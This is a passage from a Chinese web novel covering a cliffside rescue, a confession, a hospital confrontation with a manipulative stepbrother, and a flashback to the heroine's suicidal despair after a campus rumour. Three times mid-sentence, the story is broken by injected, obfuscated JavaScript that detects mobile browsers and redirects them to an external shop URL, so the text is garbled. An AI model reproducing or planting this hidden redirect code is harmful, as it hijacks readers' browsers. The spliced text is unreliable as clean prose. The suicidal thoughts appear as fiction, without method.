斑驳的黑块占据了宋未海的视野,他下意识抬眸朝上看,目光瞥到什么,瞳孔骤然紧缩—— 在一望无际的高山之上,峰回路转,沟壑崎岖,但在这满目苍凉之中,有几抹无比鲜艳的红色,撕裂开遍地枯色,张扬地飘荡在高处。 原本快速跳动的心被扰乱了节奏,某个想法像一线间爆闪的花火,宋未海像是在冥冥之中感应到了什么,拿出沈余离给他的哨子,用尽最后的力气吹响—— 哨声贯穿寂静的山谷,凌厉又持久。 哨子的尖音也带走了宋未海的最后一点精力,他整个人瞬间像被抽走了神魂,眩晕感不可抵抗地袭来,冲得他双腿一软,靠着岩壁一点点滑落。 宋未海大口大口地喘着气,铁锈味从舌似传来,四肢都像被灌满了铅似的,拽着他不断向下坠落—— ——是不是要死在这里了呢? 宋未海突然冒出这样一个想法,令他觉得有些无奈得可笑的是,事已至此,就连死亡对他来说竟也不陌生了。 时间在此刻成为了无法被量化的感知,秒针移动的每一度都在标记他渐趋模糊的意识,宋未海难以集中精神去思考自己现在的处境,脑内只是源源不断地在冒出一些零星的片段。 那一盆浇下来的水。 那一只很破旧的小鱼挂件。 少女满脸怒色地拽住他时,脖子被布料勒住的感觉。 警局里白得刺眼的灯光,刺得他眼睛酸痛。 那一个黄昏中,纱窗上跃动的光点和她的眼睛。 那一个早操,他面前砖红色的跑道,那时他的世界里全都是某个人坚定而坦然的声音。 …… 还有他们的最后一面,沈余离弯身给他的哨子,女孩儿并没有谴责他,也没有对他露出安慰的微笑,只是将哨子放在他的手心,淡然自信得像千钧一发之际扭转局面的救世主: “你有危险的时候就吹响它,我会找到你。” 宋未海的脑海中冷不防地响起这道声音,少女的声音透净明快,像是沙漠里淌开的一汪泉水,所经之处的泥沙,都被这一股温和却不容反抗的力量带走。 原本发胀的大脑因为这句话闪过一丝清明,宋未海喘了口气,看着自己脚下嚣张凶猛的河水,它们裹挟着一路带下的尘土,干脆响亮地拍在四周的岩石上,雪白的浪花四溅而起,水珠打到他的裤子上,浸湿布料,冰冷的感觉瞬间渗进皮肤。 宋未海下意识打了个寒颤,觉得手冷得有些脱力,嗓子里是火烧的感觉,从肩膀到胸腔却都能感受到放射性的冷意,它们并不刺骨,只是缓慢地蔓延到他的心底,让他无论怎么尝试捂热自己,都好像隔着一层无法穿透的隔膜,那样令人觉得难耐却并不致命的寒冷,正在他身体的深处暗流汹涌。 宋未海觉得这样下去不是办法,他努力地支起身,想要往前走一点,前面的水看起来不会这样到处乱飞,如果不被这些冷水打到的话,他的体温下降速度说不定可以得到缓解。 他的肩膀上下起伏,能明显感到自己的嘴唇干裂得起皮,只是凭着最后的一点意志力,一点点缓慢地向前挪,越往前走,溅到他身上的水珠果然就愈发少了,但就在宋未海的内心再度伸起一丝庆幸之时,原先准备踩在土地上的脚却猝不及防地踏空—— ——!! 宋未海根本来不及反应,只能在电光石火间感到心脏猛然下坠,紧接着,他整个人不受控制地往前栽倒,当他看到眼前景象的刹那,宋未海觉得自己的心凉了大半截—— ——直到这个时候他才看到,他的前方,又是一道极高的悬崖,磅礴的水流,正在疾速地向下坠落。 由于视野受限的原因,宋未海根本没看到这里还有一处悬崖,他只是靠着这样的感觉不断向前走,没想到看似平缓的道路镜头,就是吃人不吐骨头的万丈深渊。 巨大的恐慌像此刻飞流直下的瀑布一样,系数砸在他的心头,那一刻他的大脑已经完全空白,只有他要死了这一个念头,如此直白又快速地逼近他的大脑。 宋未海觉得自己马上就要结束上天给予的第二次生命了,但是当他完全跌落下去的那一秒钟,一股力道突然贯穿哗啦巨响的水声和无数向下奔流的水,用力攥住他的胳膊,手臂上突然的痛感像一记耳光,震得宋未海太阳穴发痛。 紧接着他向前坠落的趋势被硬生生地止住,很快,整个人又不受控制地被后拽,他一个重心不稳,重重地跌了下去,混乱之中他听到有一个熟悉的声音“嘶”了一声,随之而来的是身体多处倒在坚硬岩石上的痛感,粗粝的石块摩擦着手掌,硌得他浑身难受。 ——但是幸好。 在如此狼狈的情景下,宋未海居然觉得庆幸,幸好他现在还能觉得痛,而不是摔下去变得血肉模糊。 他深吸了几口气,努力地让自己把气顺过来,等过了几分钟之后,宋未海的视力逐渐恢复,他下意识地朝身下一看,等他意识到自己看见什么的时候,双眸不可置信地睁大。 此时此刻,沈余离也倒在地上喘气,她的头发散开来一点儿,长长的发缕落在身前,上面沾满了尘土和沙砾,她的脸上也全是泥土的颜色,右脸颊上,蹭破了一小块皮,透出了一点暗红。 宋未海赶忙撑起身,不可置信道:“你……” “别乱动。”沈余离看着他,如释重负地笑了下,但声音依旧波澜不惊,像是早就预料到了这个结果,“找到你了。” 26. 千岩万壑|四 . 沈余离手肘撑地,慢慢支起身,宋未海赶忙伸手扶了她一下,被她阻止了。 “……”沈余离微微喘气,撩眼看他,“你疯了吗?” “我……”明明身上一阵一阵地发冷,宋未海却觉得自己的脸庞像快要烧起来一样,愧疚和羞耻后知后觉地侵占了他的心头,他张了张口,想要解释点什么,却只觉得喉咙干涩刺痛,“……对不起。” “在意别人的话是正常的。”沈余离没再责备他,只是淡淡地望向前方滔滔不绝的洪水,“但因为别人的话连命都不要了,多少有点冲动。” “……对不起。”宋未海觉得自己的大脑像被拔了电源线的电脑,一时有些不知所措,“有什么我可以帮忙的?” 沈余离起身,从包里翻出一块毛毯丢给他,淡淡道:“你现在体温下降得很快,先别动,只要保住命,其他都不是什么大事。” 她的动作很干脆利落,像是原来就处理过无数次类似的场景一样,从头至尾,冷静熟稔得根本不像一个十七岁的少年,沈余离在安顿好宋未海后,从包里拿出一块烟饼,掰开其中一小块,然后掏出打火机,猩红的火苗直窜而上,点着了烟饼的边缘。 很快,几乎是几秒的时间,烟饼迅速淹没于烟雾中,彩色的烟雾腾升而起,像烟花爆竹后未散的余雾,穿越高山树林,径直飞跃上天空。 “我在一路上都做了记号,这个更方便他们找到我们。”沈余离哈了口气,退后几步,平静道,“接下来保持体力,等待救援就行了。” 宋未海看着她的身影,抿了抿唇,随即把毯子从身上拉下来,递给她的时候,手微微有些颤抖:“……你冷不冷? 沈余离闻声回头,看着他停留在半空中的手,突然想起教学楼楼下那次见面,微微挑了下眉。 “谢谢,不过我发现你这人真有递外套给别人的爱好。”沈余离拍了拍身上的烟尘,起身,来到宋未海身旁坐下,抬手一扬,把毯子批在两人身上,“给我让个位置,朋友。” 宋未海整张脸突然变得极红:“???!!!” 沈余离撇了他一眼,看出来了什么,但并未拆穿,只是扔下一句:“活命比较要紧。” 宋未海支支吾吾地点点头,给她让出了半个位子。 毛毯不大,没有到盖住两人也绰绰有余的地步,两个人只能紧紧挨在一起,才能让毛毯勉强地覆盖在两人身上,沈余离双手环膝,整个人蜷在一起,而宋未海在一旁,整条手臂僵直着撑在地面上,整个人一点一点地网往外挪动,他能感觉到那条毯子的边沿正不断摩挲着自己的肩膀,在一点点地向下滑落,当他快要移动出毯子能够覆盖的范围之时,突然有一只手抓住了他的手肘,不由分说地将他扯了回来。 “……宋未海。”沈余离低低地叫了一声他的名字,眉头微皱,看起来有些生气,“你不要命了吗?” “对不起!”宋未海觉得自己干脆一巴掌把自己拍死算了,老老实实地坐回来挤着,感觉整个人的指尖都因为尴尬而发麻,身上的冷意如同波涛一般一阵阵地上涌,各种各样的不安和担忧啃食了他的理智,迫使他不断地开口道歉,“……对不起,你生气了吗?我可能一时脑子被冻糊涂了……对不起,这么麻烦你还——” “我有点生气。这种情况下,你居然还要往危险面前凑,让我觉得很不可理喻。”沈余离声音有些冷,但语气却并不咄咄逼人,“下次不用这么过度在意别人的想法,其实,没有必要。” 宋未海抿了下唇,没再讲话,身上的所有知觉都被羞愧和坐立难安侵占,脑海中最后的一点清明,都在无法抗拒地流逝。 沈余离没有继续喋喋不休地逮着他这点数落,但也没有什么温声细语的安慰,她没有再说更多地话,只是沉默无言地平视着前方,尽最大可能地保持着自己的体温。 夕阳的光芒逐渐淡去,傍晚像一片水蓝色的水彩,悄无声息地浸透了半边天际,云朵的痕迹不浅不淡地相融在天空里,远方无数起伏的山峦和啼鸣的生灵都像被蒙上了一层黑色的幕布,诸多色彩与声音都消弥于即将降临的黑夜中,只有天边一轮洁白残缺的月亮,成为了此时唯一的亮色。 宋未海还在紧张,没有说过一句话,周围的鸟虫都各自回到了栖息的地方,这里已经听不到它们的任何叫声,只有面前不知疲倦的河水,一浪重重地拍在一浪上,循环往复的哗啦声干脆、密集、连续不断,成为了这里唯一的声响。 四周的蓝与黑在天际处交织,让沈余离突然生出一种莫名的熟悉感,那是一种很遥远的感觉,单调又平静,却让她感觉旷远无边到天地都被冲破。 . “……小鱼。” 风声呼啸而过,记忆涌上心头,那一刹那无数记忆的碎片飘荡在她的脑海,数不尽的山海江湖仿佛在她眼前掠过,但就在这些诸多事物的夹杂之中,沈余离恍惚间听到了有人在这么叫她。 那道声音无比的真切和冷静,却并不来自于她的童年,对面的人和她平视着,一只手轻轻地搭住她的肩膀,沈余离抬眸,那个人的身后,有一只苍鹰长啸着飞过,它展翅翱翔,跨越了绿色宽广的原野和万里无云的晴天。 是有人这么叫过她的。 沈余离清楚地记得,在离开家人之后,在她长大的很久很久以后,依然有人这么叫过她。 平和、利落、波澜不惊。 “沈余离。” 声音从耳边传来,一只手抓住她的衣服,紧接着毯子从身上掉下来,随后无数刺眼的手电筒光束在背后交错晃动,脚步声纷至沓来,混乱之中她听到有人在怒吼:“找到了!快来帮忙!” 鲜艳的反光服撕裂面前的黑暗,喧嚣的声音打破了一时的宁静,随着嘈杂和许多救援人员的呐喊,立马有许多人和光团团包围着他们,但就像浪花拍打声中被摇动的银铃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062692|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有那一声沈余离,那么清晰又那么真实地在她耳边响起。 她仰头,对上了一双看起来没什么感情的眼睛,手电筒的光闪动在她的眼底,忽明又忽暗。 抓着她的那只手没有用力,只是给她力道倚靠着。 “你怎么跟下来了。”沈余离笑了下,“方舟同学。” . “受伤了吗。”方舟看着她,语气冷漠到根本不像是在关心,只像是在例行公事地询问。 “一点小擦伤,问题不大。”沈余离借着她的力道起身,同时,宋未海也跟着一起站起来,吓得周围的人手忙脚乱地要过去架住他,又被他礼貌地婉拒,随后,宋未海抬眼看向方舟,有些惊讶到:“舟舟,你怎么来了?小雪他们怎么样了?” “你不用管我。”方舟淡淡地噎了宋未海一下,“小雪在上面等着,她没事。” 几个人都十分默契地没提方盏,仿佛提了他就会沾点晦气。 “反正没事就好。”方舟瞥了他俩一眼,随即跟着救援队向前走,“快点跟上吧,救援人员在前面,让他们把你们拉上去,别等会儿又掉队了。” 说完,她就独自一人前行,留下原地的宋未海和沈余离。 “小鱼……”宋未海抓了一下衣角,终究还是鼓起勇气叫住她,声音微微颤抖,“今天的很多事,真的很对不起,对不起大家……也对不起你。” “嗯?”沈余离并不是一直纠结的那种性格,事情对她而言过去了就是过去了,在她讲过他了以后就没那么生气了,此时只是微笑了下,“没事,我说了,在意这些都是正常的,只不过别那么在意就是了。反正无论是方盏……还是我,我们的看法,相对来说,其实都没有那么重要。” 说完,她转身就打算跟上,但宋未海的声音在背后平地炸开,猛然地顿住了她的脚步:“不……不是的!” 沈余离心里突然有种异样的预感,停下脚步回头:“嗯?” “不是的!”像是为了给自己打气,宋未海又重复了一遍他的话,“方盏的看法可能确实没什么必要……但是,你的看法,我却觉得是有必要在意的。” 天空的蓝一点点加深,手电筒的光芒在远处闪烁,河流的音量突然很合乎时宜地骤减,冰冷的水面在脚边奔涌着流淌,近在咫尺的脚步和背包摩挲的声音,在两人对视的那一秒钟里,突然让沈余离觉得好远好远。 沈余离沉默片刻,然后随口一问:“为什么?” 身后的一轮明月高高地悬挂在穹顶,俯视着山河一隅中摇曳的草丛、拥挤的人群、和那一时刻里乱掉的心跳。 就在沈余离不打算继续等下去,准备抬脚就走的时候,宋未海终于抬头,直视着她的眼睛,冷不防地开口。 风扬起沈余离耳边的发缕,少年的声音断断续续。 她听到宋未海一字一顿地对她说:“因为我……” 喜欢你。 27. 鱼游大海|一 . “……” 话和风搅在一起,让人觉得很不真实。 沈余离看了他一眼,看不出是什么神色,也没有重新询问宋未海究竟问了什么,只是叮嘱他:“快点跟上吧,别让他们等太久。” 宋未海低下头,顺从道:“好。” . 后来沈余离和宋未海被送去了医院,沈余离经过检查没什么大碍,而宋未海身上有一些挫伤扭伤,还需要再留院观察几天。 方盏还假惺惺地想来探望,被沈余离干脆果断地拦在外面。 她微笑:“滚。” 方盏假装吓了一跳,随即撇下眉眼,一幅很无辜的样子:“沈余离……我哥受伤了,我来看看他,这不是天经地义吗?再怎么说也是我没拦住他乱跑,照顾不周——” “本来就是因为你。”沈余离一点面子不给,“你搁这儿跟我演男版林黛玉呢?有林黛玉的容貌和才华吗就碰瓷四大名著,人家倒拔垂杨柳,你干脆挖个坑把自己埋进去算了。我再说一遍,滚。” 方盏还要狡辩:“可是我……” 沈余离温和道:“再不走我就扇人了。” 但是方盏却不管她的示威,只是依旧像块狗皮膏药一样缠在原地:“再怎么说,我看的是我哥,不是你吧沈余离,你老替他做决定什么意思呢,你信不信,我现在进去问他想不想见我,他一定说想。” “……”沈余离眯着眼睛看了他几秒,随即将病房推开一条缝隙,朝着里面轻声询问,“你现在需不需要休息?还是我们可以进来讲话。” 得到肯定的答复后,沈余离将病房门打开,侧过身让方盏进去,在他们两个擦肩而过时,方盏听到女孩儿轻声开口,语气无比确定:“那么,你就听他亲口拒绝你吧。” “不会的,他不敢拒绝我。”方盏偏过头,戏谑地一笑:“一向如此。” 沈余离无所谓地耸了耸肩,似乎一点都没把方盏的挑衅放在肩上。 “哥。”方盏走到宋未海的病床前,笑眯眯地问他,“刚刚沈余离一直迁怒于我不让我进来……不过没照顾好你,确实是我的问题,现在我来探望你,是真的因为很担心很担心你的安全,你也希望我能来看你的吧?毕竟我们是一家人嘛。” 一看到方盏,宋未海整个人明显紧绷起来,手不由自主地绞紧了被角,闷着没有回答。 “怎么了哥?不太舒服吗?”方盏嘴角的笑容始终不变,“没关系,我不会强迫你的,不反驳就当默认了嘛,我们都懂的。” “你说对吧?”方盏回头,冲着沈余离挑了下眉,“沈余离?” “不是的!”在沈余离做出回应之前,宋未海率先把身子向前探,下意识地喊出了这么一句话,“你们刚刚在门口的对话我都听到了,小鱼说的就是我的想法,我并不想见你!” 不知道是因为差点丧命的经历,让求生本能终于逼迫他站起来捍卫自己,还是因为这话里扯到了沈余离,所以宋未海最后的顾虑才被立马挑断,毫不犹豫地说出了那句话。 但无论如何,当心底积压已久的拒绝脱口而出的那刻,比担忧先到的,是爽快,就像他畅饮一坛美酒,在愁思浮上心头之前,早就被浓烈的酒劲儿冲得一干二净,最后只剩下飘飘欲仙的醉意。 “这不是你的想法。”方盏没料到他会这么说,一时情绪没能兜住,气急败坏都有些外显,“只不过是你和沈余离关系好,你想护着她。” “这就是我的想法。”宋未海颤抖着重复了一遍,可他说不清究竟是因为害怕,还是因为终于得以吐露心声的兴奋,“我……我比你清楚我的想法。” “听到了吗?”沈余离的最后一丝笑容也收了起来,冷冷道,“请你离开。” “……切。”方盏脸色难得铁青,一言不发地转身,离开时狠狠地瞪了宋未海一眼,然后摔门而出。 随着门被关上的巨响,宋未海长长地舒了一口气,泄气道:“吓死我了……他会不会来找我麻烦啊。” “就算来了,我们也能应付。”沈余离走到宋未海身旁坐下,“而且,让他知道你的底线,他下次就不敢这么有恃无恐了,所以你做得很好,这是很大的进步。” “……谢谢你小鱼。”宋未海被夸得有些脸红,声音越来越小,“因为你在身边,我才敢这么说的……” “所以你也并不是孤立无援的嘛,对吧。”沈余离笑笑,“至少这一次,我会帮助你的。” “那就更不好意思了,”宋未海很不好意思地别开视线,“每次都让你要帮我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那就要从……”沈余离闭起眼睛,“赵志云在校园墙上造谣说起了。” 从那天起,她平静无波的、单线向前的人生,被迫地变道前行,和许多人的命运,相交而过。 28. 鱼游大海|二 . 赵志云在墙上发了那则看起来无比真实的帖子,这样的话题在一群高中生群体中又如投放了手雷,很快就被全校的人疯转讨论,以至于就连沈余离这种与瓜隔绝的人,也几乎在第一时间就收到了各种各样的人发来的消息,有些是担心,有些是质疑,更有甚者,发了一些冒犯极致的挑衅。 手机信息已经炸开了锅,即使沈余离基本没加什么好友,但当她打开微信上的校园墙,下面的讨论也已经叠了好多层,它们像是一根根刻着模糊签文的木签不断被扔进签筒、不断挤占着位置、直到连强塞都显得勉强了,最终朝外源源不断地溢出,散得一地狼藉。 那条墙上的帖子她看了,其中的人她再熟悉不过,至于那些编排的文字她只扫了一眼,脑海中紧绷到颤抖的神经已经不允许她一个字一个字地读完。 相比于愤怒、悲伤、焦灼那些惊涛骇浪般的情绪,沈余离只觉得无波无澜。 这种平静并非源于无所畏惧,她能感受到自己此时应该感到惊惶、应该大哭一场、应该立马找到始作俑者然后歇斯底里地让他道歉、应该立马发一长串文字去一个个地群发澄清——但是她此时感受不到,即使她如同一个拥有受虐倾向的患者一样想要努力地去感受到这些浓烈的情绪,可无论她怎样去咀嚼、复盘和设想,那些她预想中应该拥有的情感顶天了也只是一粒沙尘,轻飘飘地落进水里。 她已经感受不到什么其他的情绪了,只觉得窒息,客观存在的、纯粹的窒息感,身体里像有什么气体在不断地膨胀,想要把她最后一点的生存空间都积压掉。 沈余离不知道怎样去确切地形容那时的感觉,她只感觉自己的灵魂被一只手用力地拽出来了,紧接着又被强行地定在一旁,看着那一副空壳在这样摇摇欲坠的状态下继续维持着可笑的镇定。 维持着心脏跳动的无数血管在那一刻好像都像崩断了的弦,她平生第一次坐在平稳的地面上,却拥有着无尽下坠的失重感,而她像死海表面的一滴水,所有狂风暴雨都戛然而止,被分隔在了她的感知之外,只有胸口刺痛的生理反应是清晰可知的,近乎残忍地告诉沈余离她没做梦。 她想死。沈余离平静地想。 没有任何对于终结生命的悲壮、没有任何含恨而去的怨怼、没有任何尚未得偿所愿的遗憾,沈余离什么样的思考都没有,只是当她想到未来,当她想到下一秒那些望向她的目光都带着审视和揣度、当她想到下一秒那些响起在她耳畔的话语都沾染着肮脏和嬉笑、当她想到自己将永远日复一日地活在无数双安装了显微镜的眼睛下,每一次呼吸都被当成细胞分裂又再组的实验现象来分析,每一次呼之欲出的愤怒和排山倒海的伤害都因此戴上了合理的免死金牌时,就感觉有一桶灰色的油漆,泼在了她尚未抵达的未来上,于是未来对于她而言不再是未知的,而是晦暗,一段永远没有尽头的晦暗。 希望是人活着的养分,现在有人放了把火把它烧的一干二净,沈余离觉得自己什么也抓不住,去死已经是她能想到的结束的唯一的办法。 那天阴雨绵绵,下午四五点的时候整个天空就已经变得黑压压的了,沈余离整个人窝在沙发上,懒得去开灯,也懒得去拿手机去看下面究竟讨论成什么样了,她连支撑着自己站起来再走到阳台那边踏出一步的力气都没有,被抽干了所有的力气和精力。沈余离就这么静静地半躺在沙发上,盯着斑白的天花板,直到把大灯的轮廓都盯得模糊着蠕动着,也没有移动一下。 她不知道现在自己的脑子应该先去思考哪件事,她现在只想让自己头顶的那块天花板突然开裂再塌陷,让那些碎裂的砖块直直地砸在自己的头上,无论砸得怎样头破血流都好,能让她在几秒钟里迅速地失去意识就好,只要意识一被抽离,她就再也不用去面对前面那些张牙舞爪的鬼影了。 她闭起眼睛,雨声被窗户隔绝在外,沈余离一直给所有列表都开了免打扰,就算有人来找她她也无法立马收到,整个房间里万籁俱寂,就连她的呼吸声和毛毯摩挲的声音也因为沉重的困意而越来越远。 . 沈余离做了一场梦。 她梦见了小时候,家还是那个家,就连家具的陈设都一模一样,不同的是那时候没那么冷清,盖在沙发上的羊绒毛毯还很新,上面绣着许多卡通图案,她和妹妹相互依偎着裹着毛毯,柔软的布料蹭着她们的脸颊,彼此的气息近在咫尺。那个时候家里还开着很足的地暖,沈余离只要穿双袜子就可以肆无忌惮地踩在地板上,厨房里有油星噼里啪啦的声音,整个家都是青椒和火腿翻炒的咸香,那是冬天,但沈余离一点都不觉得冷。 就是那几年,甚至在一个人短暂的童年里还占不到一半,但是那时的幸福却犹如烧在干柴上的最猛烈的烈火,无论沈余离日后向前走了多远,它都在那里以一种无法忽视的光芒在跳跃闪动。 那时的妈妈即使穿梭于大小家务事中也依然乐此不疲,即使足不出户也依然会画精致的妆容,她会轻轻地将自己和妹妹抱进怀里,温声细语地告诉她们: “小鱼和小祈都被爸爸妈妈好好地爱着,这真好,被爱包围的孩子,会是世界上最幸福的孩子。” 她柔软的发丝下垂,落在沈余离的脸庞,她感受着母亲的怀抱与香气,那句话如同一句被单曲循环的童谣,在那段时间里反反复复地萦绕在她的耳边,于是就像曾经坚信公主要嫁给王子才是好的结局一样,沈余离一直认为,只有在被爱的时刻,美好才会发生。 孩子是一块橡皮泥,旁人要把她塑造成什么样她便长成什么样,孩子会把自己最初听到的哲理奉为真谛,所以从小到大沈余离一直是这么相信的,别人的爱和喜欢是最珍贵的东西,人们从他们的夸奖和赞美、爱护和守卫中找到自己活着的证据,所以她将这最珍贵的馈赠让给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062694|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她最爱的妹妹,也会因为这最珍贵馈赠的颠覆,而一夜之间失去走下去的渴望。 她所经历人生就像戏剧一样,她的家庭也像一场戏剧那样,急转直下的时刻常常打得人措手不及,父母的争吵和相互辱骂如雷贯耳,母亲那样温暖的拥抱在一夜之间成为了她遥不可及的奢望,她和妹妹就像两只被丢下的布娃娃,曾经每天都在发生的相聚和欢笑在那之后都成为了被戳破的泡泡,斑斓色彩化为乌有,只剩下黏腻的肥皂水。 她的幸福因为被爱而产生,她的幸福也因为爱的离去而消散,年幼的孩子不会深究这其中的诱因,只会将最表面的东西用最浅显的因果相连接,这更加深了沈余离对“被爱”这件事的认同,她当时就是如此执着地认为着——因为没有了父母的爱,没有了他人的爱,所以她和妹妹的生活才会忽然翻天覆地。 被爱的人生才是好的人生,不被爱、甚至被厌弃的人生就是一潭死水,十几年前,那个还没长大的沈余离一遍遍地告诉自己。 所以后来,当母亲再婚,对方要求她至多只能带一个孩子时,沈余离主动把这个机会让给了妹妹。 她当时没有多想,她只觉得妹妹能够重新进入一个“完整”的家庭中、能获得一份“完整”的爱,这样的话,沈祈生像她周围的那些女孩儿那样,能够过上好的生活了。 不管是出于姐姐的本能还是朝夕相处的感情,沈余离都想要沈祈生不吃苦、想要沈祈生被爱着、想要沈祈生能够获得幸福,这样的愿望如此自然却又无比强烈,希望沈祈生能快乐平安度过一生的念头,一度支撑着沈余离去对抗着被抛弃和不被爱的恐惧,所以当妈妈再婚,只能带走一个孩子时,沈余离率先对沈祈生做出了选择。 那是她唯一一次,插手他人的人生。 可是当妹妹离开,最后的支柱也被抽走,她的时间里不再有任何爱的光临,雪上加霜的是,当那样的厌弃如疾风骤雨般侵袭,沈余离觉得自己就像一具没有骨架的木偶,没有任何力气再去抗衡任何东西,只能在最后选择双眼紧闭着倒进泥泞里,正如她现在选择在梦境里不断地沉沦。 “但是——” 在一片时空纠缠与光怪陆离中,沈余离突然听到一个声音,隐没在梦的混沌之中,却又显得格外清晰。 “我也希望小鱼能够幸福啊。” 如同一线清明贯穿晦暗,沈余离猛地睁开眼睛,映入眼帘的又是黑漆漆的房间,她下意识地伸手去拿放在茶几上的手机,摁开开机键,想要看看现在是几点。 于是暗了这么久的房间终于亮起一点光源,沈余离垂下眼,第一眼先看到的是屏保上沈祈生的脸。 她想起来前几天小姨和她说,妈妈和妹妹搬回来了,沈祈生后来转学到了蓬山市的盲校,离她不远。 那一刻她决定不去死了。 因为有一个重要的人,她还想再见一面。 29. 鱼游大海|三 . 沈余离第二天还是去上学了。 那一年的冬天非常寒冷,吹得沈余离耳廓通红,僵硬刺痛的感觉自耳垂蔓延,像是有一串冷的鞭炮,在她的皮肤上噼里啪啦地炸开。 她穿着学校统一的冬季冲锋衣,拉链直拉到最顶端,高领遮住她的半张脸,沈余离吸了吸鼻子,其实她觉得最好蒙个面去上学,谁都不要认出她来才好。 等她到学校的时候,正是上学的高峰期,在看到门口来来往往的人时,沈余离把脸埋得更深了些,心脏像被人突然抓紧了一刹,让她浑身血管都闭塞、呼吸都骤停。 沈余离睫毛轻颤,迅速地抬眼瞄了一眼前方的同学,就在视线转移的那一秒里她的脑海闪过无数的场景——几个窃窃私语的同学、带有揶揄或者鄙夷的目光、意味深长又戛然而止的感叹声,这些元素自动从四方蔓延,再缓缓编织成一幅流动的画面,随即嘈杂的声音和干涩的气息扑面而来,到最后,就连滚刀子似的冷风都在幻象中变得如此真实。 胆怯由心底萌生,不断吸收着沈余离的理智作为养分,最后顺着她无数的假设和妄念疯狂滋长,最后成为盘根错节的大树扎根进她的血肉里,已经成为主宰她所有思考方式的暴君。 明明目视前方是多么自然的一个举动,但对此刻的沈余离来说,却像前方有什么魑魅魍魉一样,看一眼就会坠入无尽深渊,她的目光闪烁,速速瞥了几眼,便又很快瞟向别处。 余光中她能感受到有人在回头看她,那个同学带着深蓝色的围巾,它随着他的动作而飘摇,但沈余离却不敢再望回去看个究竟,她生怕当她直视回去之时,那个人人相信谣言、觉得她不齿的灾难设想就会变成现实——但又很怪异,她明明对这个场面避之不及,恐惧到一假设就会无法呼吸,可好像从一开始,如此真实的想象就让她已经认定了这个事实,认定了那个她已经成为过街老鼠,被人人唾弃的事实。 她的呼吸开始变得急促,胸腔渐渐变得又闷又沉重,心脏像是被绞成一条似得疼痛,面前顶天立地的教学楼开始旋转颠倒——沈余离深呼吸,用倒灌而入的冷空气压制这一切的混乱,强迫她自己平静下来,恢复着清醒的意识继续往前走,她像关闭了一切的感官,把自己抽离出来,分解成第二个自我,然后旁观着隔绝着自己的一切痛苦,最后在这一切都完成之后,她发现自己的指尖在不受控制地抖。 “同学、同学!”恍惚中有人在叫她,紧接着一只手虚扶在她身旁,沈余离眨了下眼,方才那抹似曾相识的深蓝又映入她的眼帘,那样摆动的幅度,让她想到了贯穿厚厚冰层、最终破冰而出的浪花。 冰面四分五裂哗啦四散,她一下子从虚幻的世界被拽进现实,气息重新在体内流淌起来,她抬起头,正是刚刚那个瞟了她一眼,然后被她肆意揣测、引爆她庞大焦虑的同学。 “同学。”男生的刘海很长,架着一副很笨拙粗重的黑框眼镜,厚厚的镜片之下,那双眼睛,是无人之境中一片平静无风的湖泊,“你没事吧?我看你很不舒服,是因为低血糖吗,要帮忙吗?” “你……”沈余离看着他,丝毫没意识到自己的嘴唇已经干裂发白,“你不知道……” 你不知道我的事吗? 难道你刚刚,不就是因此而拿着不同寻常的目光打量着我的吗? “我……我不知道什么?我不知道啊,同学,你在说什么?”男生微微俯下身同她平视,神色中满是关切和担忧,可惜此时此刻,沈余离的思绪已经不足以支撑着她分出真假,她只是眯起眼,仔仔细细地打量着那个男生,观察着他眉根运动的轨迹,眉毛轻皱的幅度和眼神的变幻,试图从中找到他虚情假意的蛛丝马迹。 “你……”沈余离知道自己这么问或许会很唐突,但巨大的怀疑已经成为推动她行动的唯一动力了,她看着对面的男生,很直接地问道,“你刚刚为什么看我?” “……啊?”男生愣了一瞬,马上耳根通红,慌里慌张地推后一步,连说话都不利索了,“不不不不不不我没有看你……不是!同学你误会了不是这样……是因为我看你好像特别不舒服。” “好奇怪啊沈余离,你去外面找人还不够吗?都在学校里寻找对象了,对面就是看你一下,又不是要和你怎么样,毕竟人家还是未成年人呢。” 说话间,一阵调笑声打断了两人的对话,沈余离听到这个声音,下意识地浑身一震,立马就想逃跑。 “哎同学,你是不是2G网啊。”赵志云嘻嘻哈哈地把手搭在男生的肩膀上,“去看看校园墙吧,有大瓜吃哦。” “……”在赵志云碰到男生的那一刻,男生的整个身体立马僵直,他看起来颇为为难地皱了皱眉,不动声色地向旁边移了一步。 “同学,不好意思,这个等会儿再说吧。”他婉拒了赵志云,将注意力重新放在沈余离身上,朝着她伸出手,有些担心道,“你真的没事吗?” “……我没事,先走了。”沈余离连忙摆了摆手,她神色没变,看起来十分平静,可其实从赵志云出现开始,她就一直屏着呼吸,能感受到腿在微微发颤,光是克制着自己不发软摔倒,就已经用尽了她全部的意志力,于是,她几乎是毫不犹豫地回绝了对面的男生,立马头也不回地往学校里快步走。 